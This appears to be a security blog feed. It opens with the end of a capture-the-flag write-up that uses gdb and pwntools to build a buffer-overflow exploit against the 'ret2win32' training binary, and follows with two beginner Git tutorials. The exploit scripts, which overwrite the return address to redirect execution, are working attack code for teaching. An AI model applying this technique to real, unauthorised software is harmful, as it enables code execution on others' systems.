──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a lea eax, [ebp-0x28] 0x804864d push eax 0x804864e call 0x8048410 → 0x8048653 add esp, 0x10 0x8048656 nop 0x8048657 leave 0x8048658 ret 0x8048659 push ebp 0x804865a mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() [#1] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤
Note I'm using gdb with gef which is a great extension and provides the context we see above.
Everything seems to be working as expected, so now let's actually try overflowing this thing.
#!/usr/bin/env python2
import pwn
t = pwn.process("./ret2win32")
gdb_cmd = [
'b *0x08048653',
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
buf = pwn.cyclic(60, n = 4)
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4)
. We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs.
Running this and examining memory at our breakpoint:
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f9f059 → Name: __kernel_vsyscall()
[#1] 0xf7e827d7 → Name: read()
[#2] 0xf7e0f798 → Name: _IO_file_underflow()
[#3] 0xf7e108ab → Name: _IO_default_uflow()
[#4] 0xf7e03871 → Name: _IO_getline_info()
[#5] 0xf7e039be → Name: _IO_getline()
[#6] 0xf7e027a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f9f059 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048653
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx : 0x00000000
$ecx : 0xf7f7389c → 0x00000000
$edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp : 0xff84f0d0 → 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebp : 0xff84f108 → "kaaalaaam"
$esi : 0xf7f72000 → 0x001d4d6c ("lM"?)
$edi : 0x00000000
$eip : 0x08048653 → <pwnme+93> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff84f0d0│+0x00: 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $esp
0xff84f0d4│+0x04: 0x00000032 ("2"?)
0xff84f0d8│+0x08: 0xf7f725c0 → 0xfbad2088
0xff84f0dc│+0x0c: 0xfbad2887
0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $eax, $edx
0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x804864a <pwnme+84> lea eax, [ebp-0x28]
0x804864d <pwnme+87> push eax
0x804864e <pwnme+88> call 0x8048410 <fgets@plt>
→ 0x8048653 <pwnme+93> add esp, 0x10
0x8048656 <pwnme+96> nop
0x8048657 <pwnme+97> leave
0x8048658 <pwnme+98> ret
0x8048659 <ret2win+0> push ebp
0x804865a <ret2win+1> mov ebp, esp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048653 → Name: pwnme()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x08048653 in pwnme ()
gef➤
We can see our cyclic string in memory. We can examine memory directly using the ex
amine command in gdb. This command can also take a format, so we specify a string with /s
. Checkout this cheetsheet for more information on gdb commands.
Once we have the string, we can execute shell commands using !<command>
to check its length. As expected from our binary analysis, it's 50 characters in length:
gef➤ x/s 0xff84f0e0
0xff84f0e0: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
gef➤ !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c
50
gef➤
Continuing execution with the c
command results in a crash!
gef➤ c Continuing. Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f110 → 0xf7fa006d → 0x00000000 $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f110│+0x00: 0xf7fa006d → 0x00000000 ← $esp 0xff84f114│+0x04: 0xff84f130 → 0x00000001 0xff84f118│+0x08: 0x00000000 0xff84f11c│+0x0c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 0xff84f120│+0x10: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f124│+0x14: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f128│+0x18: 0x00000000 0xff84f12c│+0x1c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤
The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed.
As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal.
We can view this in gdb by examining the memory in different chunks:
gef➤ x/4xb 0xff84f10c
0xff84f10c: 0x6c 0x61 0x61 0x61
gef➤ x/xw 0xff84f10c
0xff84f10c: 0x6161616c
We can see that when examined as four hex bytes (x/4xb
) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw
), gdb intelligently handles the endianess for us and displays them it as 0x6161616c.
This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing.
Let's alter our script to confirm that we have exact control of EIP:
#!/usr/bin/env python2
import pwn
t = pwn.process("./ret2win32")
gdb_cmd = [
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
offset = pwn.cyclic_find("laaa", n = 4)
buf = "A" * offset
buf += "B" * 4
buf += "C" * 16
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find
function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards.
Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B").
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f2f059 → Name: __kernel_vsyscall() [#1] 0xf7e127d7 → Name: read() [#2] 0xf7d9f798 → Name: _IO_file_underflow() [#3] 0xf7da08ab → Name: _IO_default_uflow() [#4] 0xf7d93871 → Name: _IO_getline_info() [#5] 0xf7d939be → Name: _IO_getline() [#6] 0xf7d927a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f2f059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $ebx : 0x00000000 $ecx : 0xf7f0389c → 0x00000000 $edx : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $esp : 0xff9db540 → 0xf7f30043 → 0x0252d800 $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f02000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x42424242 ("BBBB"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $es: 0x002b $ds: 0x002b $gs: 0x0063 $ss: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff9db540│+0x00: 0xf7f30043 → 0x0252d800 ← $esp 0xff9db544│+0x04: 0xff9db560 → 0x00000001 0xff9db548│+0x08: 0x00000000 0xff9db54c│+0x0c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 0xff9db550│+0x10: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db554│+0x14: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db558│+0x18: 0x00000000 0xff9db55c│+0x1c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x42424242 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x42424242 in ?? () gef➤
Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659.
Let's update our script so that we send execution to this address instead:
#!/usr/bin/env python2
import pwn
t = pwn.process("./ret2win32")
gdb_cmd = [
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
pointer_ret2win = 0x08048659
offset = pwn.cyclic_find("laaa", n = 4)
buf = "A" * offset
buf += pwn.p32(pointer_ret2win)
buf += "C" * 16
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32()
takes a number and packs it as a 32-bit value handling the endianess for us.
Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system:
$ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 121859 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $
If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming.
We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing.
Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools.
]]>Last time we looked at what Git is and got a basic understanding of how it works. In this post, we'll look at actually using Git and some tips and tricks for streamlining how we use it.
The first step however, is to install Git. We can get the Windows, Mac or Linux client from the download page, or if we're using a Debian based Linux distro just install it via apt:
sudo apt-get install git
Git is primarily a Linux tool used on the command line, so the Windows option actually installs a lightweight Cygwin-like bash terminal from which we can issue commands, while also offering the option to use the Git commands from a Windows CMD or Powershell.
I cannot recommend enough prioritising the command line for using Git, we'll end up far more efficient and capable with the entire toolsuite at our fingertips. Saying that, there are few free GUI tools for Git, which can help in visualising the branches, such as Sourcetree or GitKraken, both of which are very good.
To create a brand new repository use:
git init
This creates a .git folder in the current directory (which is where Git manages everything) and creates the master branch. From here we're good to start adding and committing files.
Alternatively, if know we want to backup our Git repository, we can create an empty remote and clone it down. This will just contain the .git folder but will have the remote references already set up. Github and Bitbucket both allow us to create free repositories online, but while Github is the more popular, Bitbucket allows us to create free private repositories.
If we already have a repository or want to clone someone else's, get the repository URL link and just run:
git clone <repositoryURL>
For example, if we wanted to clone https://github.com/robjbone/KaliScripts then
git clone https://github.com/robjbone/KaliScripts
will clone the repository into a new KaliScripts folder in the current directory. Alternatively, if we want to specify the directory (useful when scripting or we want to change the name of the folder) we can run for example:
git clone https://github.com/robjbone/KaliScripts /opt/kaliscripts
which will clone the files into /opt/kaliscripts.
The remote repository will automatically be set up as the default remote, origin.
Once we have added some files we can create a snapshot of the current status by creating a commit.
First, we run:
git status
which will tell show us which files have been added, deleted or modified and so on. It will also detail the status of the repository relative to the remote repository, telling us if we're ahead or behind its last known reference to the remote repository.
Once we're ready we have to stage the files we want to commit. This is where we tell Git which changes we want to make up the commit. We can add individual files or folders:
git add myfile.txt
git add directory/
git add directory2/*.c
or if we want to just add everything:
git add . # for everything in the working directory (recursively)
git add --all # for everything in the repository
If we want to view the unstaged changes since the last commit, we can run:
git diff
or to view only the staged changes:
git diff --staged
Once we're ready to commit:
git commit -m "A descriptive commit message"
This will commit only the staged changes, so any other changed files will remain uncommitted.
When we've made our commit we'll get a hash that is the ID for our commit. This identifier is how we refer to the commit, for example when we want to review it:
git log 3b2da94
or if we want to reset it to it and so on (we'll cover this later).
We covered last time that branches are essentially just tags on commits, so creating and manipulating branches is usually very lightweight and quick.
Branches are great for just spinning off to try out something new, or if we want to make a change but we're not sure if it will work. If things work out, we can merge our branch back into the main "trunk" of commits, which is the branch called master. If things don't work out, we can just scrap our branch and our main codeline remains untouched.
If we are currently on master we can create a new branch by issuing:
git branch <branchName>
To switch to, or checkout, a branch:
git checkout <branchName>
and we can also combine the last two steps with:
git checkout -b <branchName>
Once we are on our new branch, we can just commit as do normally. We can switch back and forth between our branches by just checking those branches out.
If we like the changes we make on our branch, we can merge them back into master.
When merging branches we checkout the branch we want to change, in this case master:
git checkout master
then merge in the branch with the changes we want:
git merge <branchName>
If there are changes on both branches that conflict (such as both branches have edited the same line) then we will get merge conflicts. We'll leave this topic for a later article as it usually only crops up if two or more people are collaborating on the repository, but if it crops up in the mean time you can look at this link.
Once this is done, if we have no more use for our merged branch, as its now merged into master, we can delete it with:
git branch -d <branchName>
This will show a warning message and fail if the branch has changes that have not yet been merged to master to help us avoid accidentally deleting work.
If we instead decide that our changes on our branch are useless and should be discarded, we can delete the branch without merging with:
git branch -D <branchName>
Note that we can branch off of any branch, and merge any two branches, it's not just relative to master.
Finally, we can list all branches with:
git branch -a
If the remote repository gets updated, we can pull down those changes to our local copy using:
git pull
This will grab the changes in the remote version and merge them with our local repository, updating the local branches as it does so. If we have made no changes locally to the repository it will just "fast-forward" to the new version being pulled down instead of merging (as there are no changes to merge).
If we just want to fetch the latest data without actually updating any of our local branches, we can instead run:
git fetch
Now when we run git status
it will tell us how we compare to an up-to-date reference of the remote repository.
If we want to backup or share our changes we push our changes to a remote repository. This will push the latest commits on our branches, but will not push uncommitted files.
To push the current branch's changes we can use:
git push
or to push a different branch:
git push <remoteName> <branchName>
such as
git push origin master
Note that if the remote branch is ahead of our local one, we'll have to update our local one first. We can only push branches that are ahead of their remote counterparts.
Some useful tips and tricks for using Git are below.
We can customise just about everything in Git. We can do this at a global level, in our ~/.gitconfig file, or have repository specific configuration in a .git/config file in the repository. As is usually the case, the more specific config at the repository level overrides the global config if a conflict arises.
One thing we always want to setup is our name and email, as this affects the author and so on in our commits. We can also change the default editor that is used when editing commits, the line-endings style that's used, add aliases for commands and much more.
An example ~/.gitconfig might be:
[user]
name = m0rv4i
email = email@gmail.com
[core]
excludesfile = ~/.gitignore
editor = vim
eol = lf
[push]
default = simple
[branch]
autosetuprebase = always
[alias]
s = status
aa = add --all
You can read more about the various options here.
Another useful configuration file is the .gitignore file. This file dictates files that will be ignored by Git. For example, we rarely want to commit log files, compiled binaries and so on. We can set a global excludes file in our config file, and also have the option to add a per-repository .gitignore file in the root of each repository (note this is NOT in the .git folder this time!)
A sample .gitignore file might be:
# Generated Binaries #
######################
*.class
*.com
*.dll
*.exe
*.o
*.so
*.bin
*.pdb
# Packages #
############
*.7z
*.dmg
*.gz
*.iso
*.rar
*.tar
*.zip
# Logs and Databases #
######################
*.log
*.sql
*.sqlite
If later on we want to add a particular ignored file, we can forcibly stage it with
git add -f <ignoredFile>
If we want to undo local changes to a file and just reset it to the last commit, we can run:
git checkout -- <fileName>
If we want to amend a commit, such as to add files or change the message, stage the changes if required then run:
git commit --amend
If we want to quickly just stash our current uncommitted changes for later we can run:
git stash
and then do what we need to do. Any further stashes will be pushed onto a stack of stashes. Later when we want to re-apply those we can run:
git stash pop
which will apply the last stash and remove it from the stack.
To view the last 10 commits on the current branch run:
git log -10
If everything goes to pot and we want to just reset our current branch to a previous commit, we can run:
git reset --hard <commitHash>
This will drop all changes, staged and unstaged and just revert to the state of the provided commit.
We can also do a soft reset, where the staged and unstaged changes are not lost and only the branch reference is reset to the given hash. If we backtrack multiple commits then any changes in those commits will be instead staged, as they are no longer committed for the current branch.
git reset --soft <commitHash>
Sometimes we make mistakes, but it's really hard to completely lose a commit in Git, even after merges and branch deletions and so on.
If we're totally stuck and have deleted a branch we didn't mean to or something similar, we can run
git reflog
as in "reference log". This command just logs the history of what we've been doing and associated messages:
The most recent changes are are the top.
We can see in this case that even though I had deleted the test branch, the hash is still available at b28267f. Immediately after this I had checked out master (the top message) and then deleted the test branch (the deletion is not shown as it's not a change to the current reference), but we can get back to the test branch by checking out the hash:
git checkout b28267f
and creating a branch from the current state again:
git checkout -b test
or alternatively, resetting the current branch to that position again:
git reset --hard b28267f
If you're like, getting really into Git, some further reading for advanced topics are below:
Rebasing is a method of merging two branches which is possible as commits are just diffs. Instead of smushing the branches together to merge them, it takes the changes on the branch we want to merge in and "replays" the diffs onto the top of the branch being merged into. This strategy results in a super clean and easy to follow Git history as it appears to just be linear, so a real plus if you use a lot of branches or are colloborating with other people on a project.
References faciliate how Git works internally, including how Git tracks the differences between remote and local versions of branches. Understanding how these work can add some real Git-fu to your day.
Continuing along the "Tools for Hackers" theme, today we'll be looking at Git.
Git is an often misused and ill understood tool. Many developers who use it daily barely understand what they're doing and just parrot a few commands, let alone hackers who may only use it periodically.
In these guides we're going to take a look at Git and go over some useful tips and tricks for hackers. We'll avoid most of the collaboration intricacies as usually we're just cloning a repository to use a tool, or uploading to our own repositories that few others can commit to, and just focus on the Version Control System (VCS) aspects.
In Part 1 we're going to get to grips with the fundamentals of how Git works, as understanding this will make us a real power user - quick, efficient and able to get out of any trouble we land ourselves in.
Git is a fast, lightweight and open source distributed version control system. A Version Control System, or VCS, is a tool that allows you manage changes in files by creating a version of it after you change it. You can then change the version of the files that are used if you want to backtrack, or share the versions with other people.
The distributed part doesn't really matter to us, but essentially just means that every repository has a full copy of the contents and history, and not that the history is stored on a server somewhere.
In Git you make changes to your content, and then commit these changes. The commit object stores just the differences between the versions of the files, so commits are chained. Commits are identified by their hash, but have other metadata such as an author, message, timestamp etc.
The chain of commits form a branch, with master being the (you guessed it) master branch that you start with. The branch name is actually just a pointer to the commit at the head of the chain, so moving this around (if you want to backtrack for example) is fast and easy. You can move up and down this chain, reverting the state of things to earlier commits if you don't like the changes you've made, or if things "suddenly stop compiling".
Your current working commit is referenced by another tag, called HEAD. So when you're on a branch both the branch name tag and HEAD tag will point to the last commit on that branch. If you have a cool idea you want to try out without interfering with your main codeline you can create a different branch, (such as testing above). Any commits on this branch are not added to master but are still connected on the chain. If the work on master continues, then the branches will diverge, as shown below.
You can quickly and easily switch between the two (or more!) branches as all you are really doing when you switch is moving the HEAD tag around, and Git applies the appropriate file diffs.
Later on you can merge branches if you like the changes you've made, or just abandon them and delete the branch if it bears no fruit (see what I did there? :D). All this makes Git super flexible while still fast, lightweight and easy to use.
Keeping a local copy of the repository is great, but what happens if we want to back up our contents on a remote server, or if we want to share it?
Git handles this using remotes. When you create a repository you can point it to a remote copy of the repository. You can then push and pull data from and to this repository.
If you decide to clone an existing remote repository then you create a full local copy of that repository, with the entire history and all the contents. As the history is just diffs however, this is usually still lightweight and quick. The remote repository you cloned from will automatically be added as the default remote repository (called origin) in your local copy, but you can add other remotes if desired.
It is worth noting that Git doesn't store diffs for binary files. It still stores them efficiently, but if you intend to make frequent changes to binary files in your repository then the repository will start to get bigger and slower.
We've had a quick look at Git and how it works. We know you can commit versions of files and backtrack them to any commit in their history. You can spin off versions if you want to experiment without affecting the master branch and then merge them in later or abandon them, and share or backup your repository to a remote server.
Understanding these fundamentals will greatly benefit you if you use Git, anyone can copy commands from the internet but as soon as something goes wrong or you want to do something a little more advanced you'll find yourself in a much better place if you understand what's going on.
Next time we'll take a look at actually using Git, as well as some tips, tricks and useful configuration pointers to turn you into a fabled Git Guru.